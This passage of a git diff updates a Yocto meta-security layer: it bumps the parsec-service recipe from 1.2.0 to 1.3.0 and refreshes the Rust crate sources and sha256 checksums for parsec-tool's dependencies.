SRC_URI[winapi-x86_64-pc-windows-gnu-0.4.0.sha256sum] = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-SRC_URI[windows-sys-0.42.0.sha256sum] = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7"
-SRC_URI[windows-sys-0.45.0.sha256sum] = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0"
-SRC_URI[windows-targets-0.42.2.sha256sum] = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071"
-SRC_URI[windows_aarch64_gnullvm-0.42.2.sha256sum] = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8"
-SRC_URI[windows_aarch64_msvc-0.42.2.sha256sum] = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43"
-SRC_URI[windows_i686_gnu-0.42.2.sha256sum] = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f"
-SRC_URI[windows_i686_msvc-0.42.2.sha256sum] = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060"
-SRC_URI[windows_x86_64_gnu-0.42.2.sha256sum] = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36"
-SRC_URI[windows_x86_64_gnullvm-0.42.2.sha256sum] = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3"
-SRC_URI[windows_x86_64_msvc-0.42.2.sha256sum] = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0"
+SRC_URI[windows-sys-0.48.0.sha256sum] = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
+SRC_URI[windows-targets-0.48.5.sha256sum] = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
+SRC_URI[windows_aarch64_gnullvm-0.48.5.sha256sum] = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
+SRC_URI[windows_aarch64_msvc-0.48.5.sha256sum] = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
+SRC_URI[windows_i686_gnu-0.48.5.sha256sum] = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
+SRC_URI[windows_i686_msvc-0.48.5.sha256sum] = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
+SRC_URI[windows_x86_64_gnu-0.48.5.sha256sum] = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
+SRC_URI[windows_x86_64_gnullvm-0.48.5.sha256sum] = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
+SRC_URI[windows_x86_64_msvc-0.48.5.sha256sum] = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
+SRC_URI[winnow-0.5.16.sha256sum] = "037711d82167854aff2018dfd193aa0fef5370f456732f0d5a0c59b0f1b4b907"
SRC_URI[x509-parser-0.13.2.sha256sum] = "9fb9bace5b5589ffead1afb76e43e34cff39cd0f3ce7e170ae0c29e53b88eb1c"
SRC_URI[yasna-0.4.0.sha256sum] = "e262a29d0e61ccf2b6190d7050d4b237535fc76ce4c1210d9caa316f71dffa75"
-SRC_URI[zeroize-1.5.7.sha256sum] = "c394b5bd0c6f669e7275d9c20aa90ae064cb22e75a1cad54e1b34088034b149f"
-SRC_URI[zeroize_derive-1.3.3.sha256sum] = "44bf07cb3e50ea2003396695d58bf46bc9887a1f362260446fad6bc4e79bd36c"
+SRC_URI[zeroize-1.6.0.sha256sum] = "2a0956f1ba7c7909bfb66c2e9e4124ab6f6482560f6628b5aaeba39207c9aad9"
+SRC_URI[zeroize_derive-1.4.2.sha256sum] = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69"
diff --git a/meta-security/meta-parsec/recipes-parsec/parsec-service/parsec-service_1.2.0.bb b/meta-security/meta-parsec/recipes-parsec/parsec-service/parsec-service_1.3.0.bb
index b42b7b414b..477988e97a 100644
--- a/meta-security/meta-parsec/recipes-parsec/parsec-service/parsec-service_1.2.0.bb
+++ b/meta-security/meta-parsec/recipes-parsec/parsec-service/parsec-service_1.3.0.bb
@@ -12,7 +12,7 @@ SRC_URI += "crate://crates.io/parsec-service/${PV} \
file://systemd.patch \
file://parsec-tmpfiles.conf \
"
-SRC_URI[parsec-service-1.2.0.sha256sum] = "f58e7ba859c22cc1904dc8298b1a7d94ee1ba3b4d4808f28e4cc0c96ddb149c9"
+SRC_URI[parsec-service-1.3.0.sha256sum] = "6e171f6394f900e0356947fb7ee42f825fba7ad8cada44b520b4bec5f1c853c8"
B = "${CARGO_VENDORING_DIRECTORY}/${BP}"
diff --git a/meta-security/meta-parsec/recipes-parsec/parsec-tool/parsec-tool-crates.inc b/meta-security/meta-parsec/recipes-parsec/parsec-tool/parsec-tool-crates.inc
index 01b3288b3b..6cfd1236ac 100644
--- a/meta-security/meta-parsec/recipes-parsec/parsec-tool/parsec-tool-crates.inc
+++ b/meta-security/meta-parsec/recipes-parsec/parsec-tool/parsec-tool-crates.inc
@@ -2,345 +2,365 @@
# from Cargo.lock
SRC_URI += " \
- crate://crates.io/aho-corasick/0.7.20;name=aho-corasick-0.7.20 \
- crate://crates.io/ansi_term/0.12.1;name=ansi_term-0.12.1 \
- crate://crates.io/anyhow/1.0.69;name=anyhow-1.0.69 \
- crate://crates.io/asn1-rs/0.3.1;name=asn1-rs-0.3.1 \
- crate://crates.io/asn1-rs-derive/0.1.0;name=asn1-rs-derive-0.1.0 \
- crate://crates.io/asn1-rs-impl/0.1.0;name=asn1-rs-impl-0.1.0 \
- crate://crates.io/atty/0.2.14;name=atty-0.2.14 \
- crate://crates.io/autocfg/1.1.0;name=autocfg-1.1.0 \
- crate://crates.io/base64/0.13.1;name=base64-0.13.1 \
- crate://crates.io/base64/0.21.0;name=base64-0.21.0 \
- crate://crates.io/bincode/1.3.3;name=bincode-1.3.3 \
- crate://crates.io/bindgen/0.57.0;name=bindgen-0.57.0 \
- crate://crates.io/bitflags/1.3.2;name=bitflags-1.3.2 \
- crate://crates.io/block-buffer/0.9.0;name=block-buffer-0.9.0 \
- crate://crates.io/bumpalo/3.12.0;name=bumpalo-3.12.0 \
- crate://crates.io/bytes/1.4.0;name=bytes-1.4.0 \
- crate://crates.io/cc/1.0.79;name=cc-1.0.79 \
- crate://crates.io/cexpr/0.4.0;name=cexpr-0.4.0 \
- crate://crates.io/cfg-if/1.0.0;name=cfg-if-1.0.0 \
- crate://crates.io/clang-sys/1.6.0;name=clang-sys-1.6.0 \
- crate://crates.io/clap/2.34.0;name=clap-2.34.0 \
- crate://crates.io/cmake/0.1.45;name=cmake-0.1.45 \
- crate://crates.io/const-oid/0.7.1;name=const-oid-0.7.1 \
- crate://crates.io/cpufeatures/0.2.6;name=cpufeatures-0.2.6 \
- crate://crates.io/data-encoding/2.3.3;name=data-encoding-2.3.3 \
- crate://crates.io/der/0.5.1;name=der-0.5.1 \
- crate://crates.io/der-parser/7.0.0;name=der-parser-7.0.0 \
- crate://crates.io/derivative/2.2.0;name=derivative-2.2.0 \
- crate://crates.io/digest/0.9.0;name=digest-0.9.0 \
- crate://crates.io/displaydoc/0.2.3;name=displaydoc-0.2.3 \
- crate://crates.io/either/1.8.1;name=either-1.8.1 \
- crate://crates.io/env_logger/0.8.4;name=env_logger-0.8.4 \
- crate://crates.io/form_urlencoded/1.1.0;name=form_urlencoded-1.1.0 \
- crate://crates.io/futures/0.3.27;name=futures-0.3.27 \
- crate://crates.io/futures-channel/0.3.27;name=futures-channel-0.3.27 \
- crate://crates.io/futures-core/0.3.27;name=futures-core-0.3.27 \
- crate://crates.io/futures-executor/0.3.27;name=futures-executor-0.3.27 \
- crate://crates.io/futures-io/0.3.27;name=futures-io-0.3.27 \
- crate://crates.io/futures-macro/0.3.27;name=futures-macro-0.3.27 \
- crate://crates.io/futures-sink/0.3.27;name=futures-sink-0.3.27 \
- crate://crates.io/futures-task/0.3.27;name=futures-task-0.3.27 \
- crate://crates.io/futures-util/0.3.27;name=futures-util-0.3.27 \
- crate://crates.io/generic-array/0.14.6;name=generic-array-0.14.6 \
- crate://crates.io/glob/0.3.1;name=glob-0.3.1 \
- crate://crates.io/grpcio/0.9.1;name=grpcio-0.9.1 \
- crate://crates.io/grpcio-sys/0.9.1+1.38.0;name=grpcio-sys-0.9.1+1.38.0 \
- crate://crates.io/heck/0.3.3;name=heck-0.3.3 \
- crate://crates.io/hermit-abi/0.1.19;name=hermit-abi-0.1.19 \
- crate://crates.io/humantime/2.1.0;name=humantime-2.1.0 \
- crate://crates.io/idna/0.3.0;name=idna-0.3.0 \
- crate://crates.io/instant/0.1.12;name=instant-0.1.12 \
- crate://crates.io/itertools/0.10.5;name=itertools-0.10.5 \
- crate://crates.io/itoa/1.0.6;name=itoa-1.0.6 \
- crate://crates.io/js-sys/0.3.61;name=js-sys-0.3.61 \
- crate://crates.io/jsonwebkey/0.3.5;name=jsonwebkey-0.3.5 \
- crate://crates.io/jsonwebtoken/8.3.0;name=jsonwebtoken-8.3.0 \
- crate://crates.io/lazy_static/1.4.0;name=lazy_static-1.4.0 \
- crate://crates.io/lazycell/1.3.0;name=lazycell-1.3.0 \
- crate://crates.io/libc/0.2.140;name=libc-0.2.140 \
- crate://crates.io/libloading/0.7.4;name=libloading-0.7.4 \
- crate://crates.io/libz-sys/1.1.8;name=libz-sys-1.1.8 \
- crate://crates.io/lock_api/0.4.9;name=lock_api-0.4.9 \
- crate://crates.io/log/0.4.17;name=log-0.4.17 \
- crate://crates.io/memchr/2.5.0;name=memchr-2.5.0 \
- crate://crates.io/minimal-lexical/0.2.1;name=minimal-lexical-0.2.1 \
- crate://crates.io/nom/5.1.2;name=nom-5.1.2 \
- crate://crates.io/nom/7.1.3;name=nom-7.1.3 \
- crate://crates.io/num/0.4.0;name=num-0.4.0 \
- crate://crates.io/num-bigint/0.4.3;name=num-bigint-0.4.3 \
- crate://crates.io/num-complex/0.4.3;name=num-complex-0.4.3 \
- crate://crates.io/num-derive/0.3.3;name=num-derive-0.3.3 \
- crate://crates.io/num-integer/0.1.45;name=num-integer-0.1.45 \
- crate://crates.io/num-iter/0.1.43;name=num-iter-0.1.43 \
- crate://crates.io/num-rational/0.4.1;name=num-rational-0.4.1 \
- crate://crates.io/num-traits/0.2.15;name=num-traits-0.2.15 \
- crate://crates.io/oid/0.2.1;name=oid-0.2.1 \
- crate://crates.io/oid-registry/0.4.0;name=oid-registry-0.4.0 \
- crate://crates.io/once_cell/1.17.1;name=once_cell-1.17.1 \
- crate://crates.io/opaque-debug/0.3.0;name=opaque-debug-0.3.0 \
- crate://crates.io/parking_lot/0.11.2;name=parking_lot-0.11.2 \
- crate://crates.io/parking_lot_core/0.8.6;name=parking_lot_core-0.8.6 \
- crate://crates.io/parsec-client/0.15.0;name=parsec-client-0.15.0 \
- crate://crates.io/parsec-interface/0.28.0;name=parsec-interface-0.28.0 \
- crate://crates.io/peeking_take_while/0.1.2;name=peeking_take_while-0.1.2 \
- crate://crates.io/pem/1.1.1;name=pem-1.1.1 \
- crate://crates.io/percent-encoding/2.2.0;name=percent-encoding-2.2.0 \
- crate://crates.io/picky-asn1/0.3.3;name=picky-asn1-0.3.3 \
- crate://crates.io/picky-asn1-der/0.2.5;name=picky-asn1-der-0.2.5 \
- crate://crates.io/picky-asn1-x509/0.6.1;name=picky-asn1-x509-0.6.1 \
- crate://crates.io/pin-project-lite/0.2.9;name=pin-project-lite-0.2.9 \
- crate://crates.io/pin-utils/0.1.0;name=pin-utils-0.1.0 \
- crate://crates.io/pkcs8/0.8.0;name=pkcs8-0.8.0 \
- crate://crates.io/pkg-config/0.3.26;name=pkg-config-0.3.26 \
- crate://crates.io/proc-macro-error/1.0.4;name=proc-macro-error-1.0.4 \
- crate://crates.io/proc-macro-error-attr/1.0.4;name=proc-macro-error-attr-1.0.4 \
- crate://crates.io/proc-macro2/1.0.52;name=proc-macro2-1.0.52 \
- crate://crates.io/prost/0.8.0;name=prost-0.8.0 \
- crate://crates.io/prost-derive/0.8.0;name=prost-derive-0.8.0 \
- crate://crates.io/protobuf/2.28.0;name=protobuf-2.28.0 \
- crate://crates.io/psa-crypto/0.10.0;name=psa-crypto-0.10.0 \
- crate://crates.io/psa-crypto-sys/0.10.0;name=psa-crypto-sys-0.10.0 \
- crate://crates.io/quote/1.0.26;name=quote-1.0.26 \
- crate://crates.io/rcgen/0.9.3;name=rcgen-0.9.3 \
- crate://crates.io/redox_syscall/0.2.16;name=redox_syscall-0.2.16 \
- crate://crates.io/regex/1.7.1;name=regex-1.7.1 \
- crate://crates.io/regex-syntax/0.6.28;name=regex-syntax-0.6.28 \
- crate://crates.io/ring/0.16.20;name=ring-0.16.20 \
- crate://crates.io/rustc-hash/1.1.0;name=rustc-hash-1.1.0 \
- crate://crates.io/rusticata-macros/4.1.0;name=rusticata-macros-4.1.0 \
- crate://crates.io/ryu/1.0.13;name=ryu-1.0.13 \
- crate://crates.io/same-file/1.0.6;name=same-file-1.0.6 \
- crate://crates.io/scopeguard/1.1.0;name=scopeguard-1.1.0 \
- crate://crates.io/secrecy/0.7.0;name=secrecy-0.7.0 \
- crate://crates.io/serde/1.0.158;name=serde-1.0.158 \
- crate://crates.io/serde_bytes/0.11.9;name=serde_bytes-0.11.9 \
- crate://crates.io/serde_derive/1.0.158;name=serde_derive-1.0.158 \
- crate://crates.io/serde_json/1.0.94;name=serde_json-1.0.94 \
- crate://crates.io/sha2/0.9.9;name=sha2-0.9.9 \
- crate://crates.io/shlex/0.1.1;name=shlex-0.1.1 \
- crate://crates.io/simple_asn1/0.6.2;name=simple_asn1-0.6.2 \
- crate://crates.io/slab/0.4.8;name=slab-0.4.8 \
- crate://crates.io/smallvec/1.10.0;name=smallvec-1.10.0 \
- crate://crates.io/spiffe/0.2.1;name=spiffe-0.2.1 \
- crate://crates.io/spin/0.5.2;name=spin-0.5.2 \
- crate://crates.io/spki/0.5.4;name=spki-0.5.4 \
- crate://crates.io/strsim/0.8.0;name=strsim-0.8.0 \
- crate://crates.io/structopt/0.3.26;name=structopt-0.3.26 \
- crate://crates.io/structopt-derive/0.4.18;name=structopt-derive-0.4.18 \
- crate://crates.io/syn/1.0.109;name=syn-1.0.109 \
- crate://crates.io/syn/2.0.10;name=syn-2.0.10 \
- crate://crates.io/synstructure/0.12.6;name=synstructure-0.12.6 \
- crate://crates.io/termcolor/1.2.0;name=termcolor-1.2.0 \
- crate://crates.io/textwrap/0.11.0;name=textwrap-0.11.0 \
- crate://crates.io/thiserror/1.0.40;name=thiserror-1.0.40 \
- crate://crates.io/thiserror-impl/1.0.40;name=thiserror-impl-1.0.40 \
- crate://crates.io/time/0.3.20;name=time-0.3.20 \
- crate://crates.io/time-core/0.1.0;name=time-core-0.1.0 \
- crate://crates.io/time-macros/0.2.8;name=time-macros-0.2.8 \
- crate://crates.io/tinyvec/1.6.0;name=tinyvec-1.6.0 \
- crate://crates.io/tinyvec_macros/0.1.1;name=tinyvec_macros-0.1.1 \
- crate://crates.io/typenum/1.16.0;name=typenum-1.16.0 \
- crate://crates.io/unicode-bidi/0.3.13;name=unicode-bidi-0.3.13 \
- crate://crates.io/unicode-ident/1.0.8;name=unicode-ident-1.0.8 \
- crate://crates.io/unicode-normalization/0.1.22;name=unicode-normalization-0.1.22 \
- crate://crates.io/unicode-segmentation/1.10.1;name=unicode-segmentation-1.10.1 \
- crate://crates.io/unicode-width/0.1.10;name=unicode-width-0.1.10 \
- crate://crates.io/unicode-xid/0.2.4;name=unicode-xid-0.2.4 \
- crate://crates.io/untrusted/0.7.1;name=untrusted-0.7.1 \
- crate://crates.io/url/2.3.1;name=url-2.3.1 \
- crate://crates.io/users/0.11.0;name=users-0.11.0 \
- crate://crates.io/uuid/0.8.2;name=uuid-0.8.2 \
- crate://crates.io/vcpkg/0.2.15;name=vcpkg-0.2.15 \
- crate://crates.io/vec_map/0.8.2;name=vec_map-0.8.2 \
- crate://crates.io/version_check/0.9.4;name=version_check-0.9.4 \
- crate://crates.io/walkdir/2.3.2;name=walkdir-2.3.2 \
- crate://crates.io/wasm-bindgen/0.2.84;name=wasm-bindgen-0.2.84 \
- crate://crates.io/wasm-bindgen-backend/0.2.84;name=wasm-bindgen-backend-0.2.84 \
- crate://crates.io/wasm-bindgen-macro/0.2.84;name=wasm-bindgen-macro-0.2.84 \
- crate://crates.io/wasm-bindgen-macro-support/0.2.84;name=wasm-bindgen-macro-support-0.2.84 \
- crate://crates.io/wasm-bindgen-shared/0.2.84;name=wasm-bindgen-shared-0.2.84 \
- crate://crates.io/web-sys/0.3.61;name=web-sys-0.3.61 \
- crate://crates.io/winapi/0.3.9;name=winapi-0.3.9 \
- crate://crates.io/winapi-i686-pc-windows-gnu/0.4.0;name=winapi-i686-pc-windows-gnu-0.4.0 \
- crate://crates.io/winapi-util/0.1.5;name=winapi-util-0.1.5 \
- crate://crates.io/winapi-x86_64-pc-windows-gnu/0.4.0;name=winapi-x86_64-pc-windows-gnu-0.4.0 \
- crate://crates.io/x509-parser/0.13.2;name=x509-parser-0.13.2 \
- crate://crates.io/yasna/0.4.0;name=yasna-0.4.0 \
- crate://crates.io/yasna/0.5.1;name=yasna-0.5.1 \
- crate://crates.io/zeroize/1.5.7;name=zeroize-1.5.7 \
- crate://crates.io/zeroize_derive/1.3.3;name=zeroize_derive-1.3.3 \
+ crate://crates.io/aho-corasick/1.1.2 \
+ crate://crates.io/anyhow/1.0.75 \
+ crate://crates.io/asn1-rs/0.3.1 \
+ crate://crates.io/asn1-rs-derive/0.1.0 \
+ crate://crates.io/asn1-rs-impl/0.1.0 \
+ crate://crates.io/autocfg/1.1.0 \
+ crate://crates.io/base64/0.13.1 \
+ crate://crates.io/base64/0.21.4 \
+ crate://crates.io/bincode/1.3.3 \
+ crate://crates.io/bindgen/0.57.0 \
+ crate://crates.io/bitflags/1.3.2 \
+ crate://crates.io/bitflags/2.4.1 \
+ crate://crates.io/block-buffer/0.9.0 \
+ crate://crates.io/bumpalo/3.14.0 \
+ crate://crates.io/bytes/1.5.0 \
+ crate://crates.io/cc/1.0.83 \
+ crate://crates.io/cexpr/0.4.0 \
+ crate://crates.io/cfg-if/1.0.0 \
+ crate://crates.io/clang-sys/1.6.1 \
+ crate://crates.io/clap/2.34.0 \
+ crate://crates.io/cmake/0.1.50 \
+ crate://crates.io/const-oid/0.7.1 \
+ crate://crates.io/cpufeatures/0.2.9 \
+ crate://crates.io/data-encoding/2.4.0 \
+ crate://crates.io/der/0.5.1 \
+ crate://crates.io/der-parser/7.0.0 \
+ crate://crates.io/derivative/2.2.0 \
+ crate://crates.io/digest/0.9.0 \
+ crate://crates.io/displaydoc/0.2.4 \
+ crate://crates.io/either/1.9.0 \
+ crate://crates.io/env_logger/0.10.0 \
+ crate://crates.io/errno/0.3.5 \
+ crate://crates.io/form_urlencoded/1.2.0 \
+ crate://crates.io/futures/0.3.28 \
+ crate://crates.io/futures-channel/0.3.28 \
+ crate://crates.io/futures-core/0.3.28 \
+ crate://crates.io/futures-executor/0.3.28 \
+ crate://crates.io/futures-io/0.3.28 \
+ crate://crates.io/futures-macro/0.3.28 \
+ crate://crates.io/futures-sink/0.3.28 \
+ crate://crates.io/futures-task/0.3.28 \
+ crate://crates.io/futures-util/0.3.28 \
+ crate://crates.io/generic-array/0.14.7 \
+ crate://crates.io/glob/0.3.1 \
+ crate://crates.io/grpcio/0.9.1 \
+ crate://crates.io/grpcio-sys/0.9.1+1.38.0 \
+ crate://crates.io/heck/0.3.3 \
+ crate://crates.io/hermit-abi/0.3.3 \
+ crate://crates.io/humantime/2.1.0 \
+ crate://crates.io/idna/0.4.0 \
+ crate://crates.io/instant/0.1.12 \
+ crate://crates.io/is-terminal/0.4.9 \
+ crate://crates.io/itertools/0.10.5 \
+ crate://crates.io/itoa/1.0.9 \
+ crate://crates.io/js-sys/0.3.64 \
+ crate://crates.io/jsonwebkey/0.3.5 \
+ crate://crates.io/jsonwebtoken/8.3.0 \
+ crate://crates.io/lazy_static/1.4.0 \
+ crate://crates.io/lazycell/1.3.0 \
+ crate://crates.io/libc/0.2.149 \
+ crate://crates.io/libloading/0.7.4 \
+ crate://crates.io/libz-sys/1.1.12 \
+ crate://crates.io/linux-raw-sys/0.4.10 \
+ crate://crates.io/lock_api/0.4.10 \
+ crate://crates.io/log/0.4.20 \
+ crate://crates.io/memchr/2.6.4 \
+ crate://crates.io/minimal-lexical/0.2.1 \
+ crate://crates.io/nom/5.1.3 \
+ crate://crates.io/nom/7.1.3 \
+ crate://crates.io/num/0.4.1 \
+ crate://crates.io/num-bigint/0.4.4 \
+ crate://crates.io/num-complex/0.4.4 \
+ crate://crates.io/num-derive/0.4.1 \
+ crate://crates.io/num-integer/0.1.45 \
+ crate://crates.io/num-iter/0.1.43 \
+ crate://crates.io/num-rational/0.4.1 \
+ crate://crates.io/num-traits/0.2.17 \
+ crate://crates.io/oid/0.2.1 \
+ crate://crates.io/oid-registry/0.4.0 \
+ crate://crates.io/once_cell/1.18.0 \
+ crate://crates.io/opaque-debug/0.3.0 \
+ crate://crates.io/parking_lot/0.11.2 \
+ crate://crates.io/parking_lot_core/0.8.6 \
+ crate://crates.io/parsec-client/0.16.0 \
+ crate://crates.io/parsec-interface/0.29.1 \
+ crate://crates.io/peeking_take_while/0.1.2 \
+ crate://crates.io/pem/1.1.1 \
+ crate://crates.io/percent-encoding/2.3.0 \
+ crate://crates.io/picky-asn1/0.8.0 \
+ crate://crates.io/picky-asn1-der/0.4.1 \
+ crate://crates.io/picky-asn1-x509/0.12.0 \
+ crate://crates.io/pin-project-lite/0.2.13 \
+ crate://crates.io/pin-utils/0.1.0 \
+ crate://crates.io/pkcs8/0.8.0 \
+ crate://crates.io/pkg-config/0.3.27 \
+ crate://crates.io/proc-macro-error/1.0.4 \
+ crate://crates.io/proc-macro-error-attr/1.0.4 \
+ crate://crates.io/proc-macro2/1.0.69 \
+ crate://crates.io/prost/0.9.0 \
+ crate://crates.io/prost-derive/0.9.0 \
+ crate://crates.io/protobuf/2.28.0 \
+ crate://crates.io/psa-crypto/0.12.0 \
+ crate://crates.io/psa-crypto-sys/0.12.0 \
+ crate://crates.io/quote/1.0.33 \
+ crate://crates.io/rcgen/0.9.3 \
+ crate://crates.io/redox_syscall/0.2.16 \
+ crate://crates.io/regex/1.10.0 \
+ crate://crates.io/regex-automata/0.4.1 \
+ crate://crates.io/regex-syntax/0.8.0 \
+ crate://crates.io/ring/0.16.20 \
+ crate://crates.io/rustc-hash/1.1.0 \
+ crate://crates.io/rusticata-macros/4.1.0 \
+ crate://crates.io/rustix/0.38.19 \
+ crate://crates.io/ryu/1.0.15 \
+ crate://crates.io/same-file/1.0.6 \
+ crate://crates.io/scopeguard/1.2.0 \
+ crate://crates.io/secrecy/0.8.0 \
+ crate://crates.io/serde/1.0.188 \
+ crate://crates.io/serde_bytes/0.11.12 \
+ crate://crates.io/serde_derive/1.0.188 \
+ crate://crates.io/serde_json/1.0.107 \
+ crate://crates.io/sha2/0.9.9 \
+ crate://crates.io/shlex/0.1.1 \
+ crate://crates.io/simple_asn1/0.6.2 \
+ crate://crates.io/slab/0.4.9 \
+ crate://crates.io/smallvec/1.11.1 \
+ crate://crates.io/spiffe/0.2.1 \
+ crate://crates.io/spin/0.5.2 \
+ crate://crates.io/spki/0.5.4 \
+ crate://crates.io/structopt/0.3.26 \
+ crate://crates.io/structopt-derive/0.4.18 \
+ crate://crates.io/syn/1.0.109 \
+ crate://crates.io/syn/2.0.38 \
+ crate://crates.io/synstructure/0.12.6 \
+ crate://crates.io/termcolor/1.3.0 \
+ crate://crates.io/textwrap/0.11.0 \
+ crate://crates.io/thiserror/1.0.49 \
+ crate://crates.io/thiserror-impl/1.0.49 \
+ crate://crates.io/time/0.3.23 \
+ crate://crates.io/time-core/0.1.1 \
+ crate://crates.io/time-macros/0.2.10 \
+ crate://crates.io/tinyvec/1.6.0 \
+ crate://crates.io/tinyvec_macros/0.1.1 \
+ crate://crates.io/typenum/1.17.0 \
+ crate://crates.io/unicode-bidi/0.3.13 \
+ crate://crates.io/unicode-ident/1.0.12 \
+ crate://crates.io/unicode-normalization/0.1.22 \
+ crate://crates.io/unicode-segmentation/1.10.1 \
+ crate://crates.io/unicode-width/0.1.11 \
+ crate://crates.io/unicode-xid/0.2.4 \
+ crate://crates.io/untrusted/0.7.1 \
+ crate://crates.io/url/2.4.1 \
+ crate://crates.io/uuid/0.8.2 \
+ crate://crates.io/vcpkg/0.2.15 \
+ crate://crates.io/version_check/0.9.4 \
+ crate://crates.io/walkdir/2.4.0 \
+ crate://crates.io/wasm-bindgen/0.2.87 \
+ crate://crates.io/wasm-bindgen-backend/0.2.87 \
+ crate://crates.io/wasm-bindgen-macro/0.2.87 \
+ crate://crates.io/wasm-bindgen-macro-support/0.2.87 \
+ crate://crates.io/wasm-bindgen-shared/0.2.87 \
+ crate://crates.io/web-sys/0.3.64 \
+ crate://crates.io/winapi/0.3.9 \
+ crate://crates.io/winapi-i686-pc-windows-gnu/0.4.0 \
+ crate://crates.io/winapi-util/0.1.6 \
+ crate://crates.io/winapi-x86_64-pc-windows-gnu/0.4.0 \
+ crate://crates.io/windows-sys/0.48.0 \
+ crate://crates.io/windows-targets/0.48.5 \
+ crate://crates.io/windows_aarch64_gnullvm/0.48.5 \
+ crate://crates.io/windows_aarch64_msvc/0.48.5 \
+ crate://crates.io/windows_i686_gnu/0.48.5 \
+ crate://crates.io/windows_i686_msvc/0.48.5 \
+ crate://crates.io/windows_x86_64_gnu/0.48.5 \
+ crate://crates.io/windows_x86_64_gnullvm/0.48.5 \
+ crate://crates.io/windows_x86_64_msvc/0.48.5 \
+ crate://crates.io/x509-parser/0.13.2 \
+ crate://crates.io/yasna/0.4.0 \
+ crate://crates.io/yasna/0.5.2 \
+ crate://crates.io/zeroize/1.6.0 \
+ crate://crates.io/zeroize_derive/1.4.2 \
"
-SRC_URI[aho-corasick-0.7.20.sha256sum] = "cc936419f96fa211c1b9166887b38e5e40b19958e5b895be7c1f93adec7071ac"
-SRC_URI[ansi_term-0.12.1.sha256sum] = "d52a9bb7ec0cf484c551830a7ce27bd20d67eac647e1befb56b0be4ee39a55d2"
-SRC_URI[anyhow-1.0.69.sha256sum] = "224afbd727c3d6e4b90103ece64b8d1b67fbb1973b1046c2281eed3f3803f800"
+SRC_URI[aho-corasick-1.1.2.sha256sum] = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0"
+SRC_URI[anyhow-1.0.75.sha256sum] = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6"
SRC_URI[asn1-rs-0.3.1.sha256sum] = "30ff05a702273012438132f449575dbc804e27b2f3cbe3069aa237d26c98fa33"
SRC_URI[asn1-rs-derive-0.1.0.sha256sum] = "db8b7511298d5b7784b40b092d9e9dcd3a627a5707e4b5e507931ab0d44eeebf"
SRC_URI[asn1-rs-impl-0.1.0.sha256sum] = "2777730b2039ac0f95f093556e61b6d26cebed5393ca6f152717777cec3a42ed"
-SRC_URI[atty-0.2.14.sha256sum] = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
SRC_URI[autocfg-1.1.0.sha256sum] = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
SRC_URI[base64-0.13.1.sha256sum] = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8"
-SRC_URI[base64-0.21.0.sha256sum] = "a4a4ddaa51a5bc52a6948f74c06d20aaaddb71924eab79b8c97a8c556e942d6a"
+SRC_URI[base64-0.21.4.sha256sum] = "9ba43ea6f343b788c8764558649e08df62f86c6ef251fdaeb1ffd010a9ae50a2"
SRC_URI[bincode-1.3.3.sha256sum] = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad"
SRC_URI[bindgen-0.57.0.sha256sum] = "fd4865004a46a0aafb2a0a5eb19d3c9fc46ee5f063a6cfc605c69ac9ecf5263d"
SRC_URI[bitflags-1.3.2.sha256sum] = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
+SRC_URI[bitflags-2.4.1.sha256sum] = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07"
SRC_URI[block-buffer-0.9.0.sha256sum] = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4"
-SRC_URI[bumpalo-3.12.0.sha256sum] = "0d261e256854913907f67ed06efbc3338dfe6179796deefc1ff763fc1aee5535"
-SRC_URI[bytes-1.4.0.sha256sum] = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be"
-SRC_URI[cc-1.0.79.sha256sum] = "50d30906286121d95be3d479533b458f87493b30a4b5f79a607db8f5d11aa91f"
+SRC_URI[bumpalo-3.14.0.sha256sum] = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec"
+SRC_URI[bytes-1.5.0.sha256sum] = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223"
+SRC_URI[cc-1.0.83.sha256sum] = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0"
SRC_URI[cexpr-0.4.0.sha256sum] = "f4aedb84272dbe89af497cf81375129abda4fc0a9e7c5d317498c15cc30c0d27"
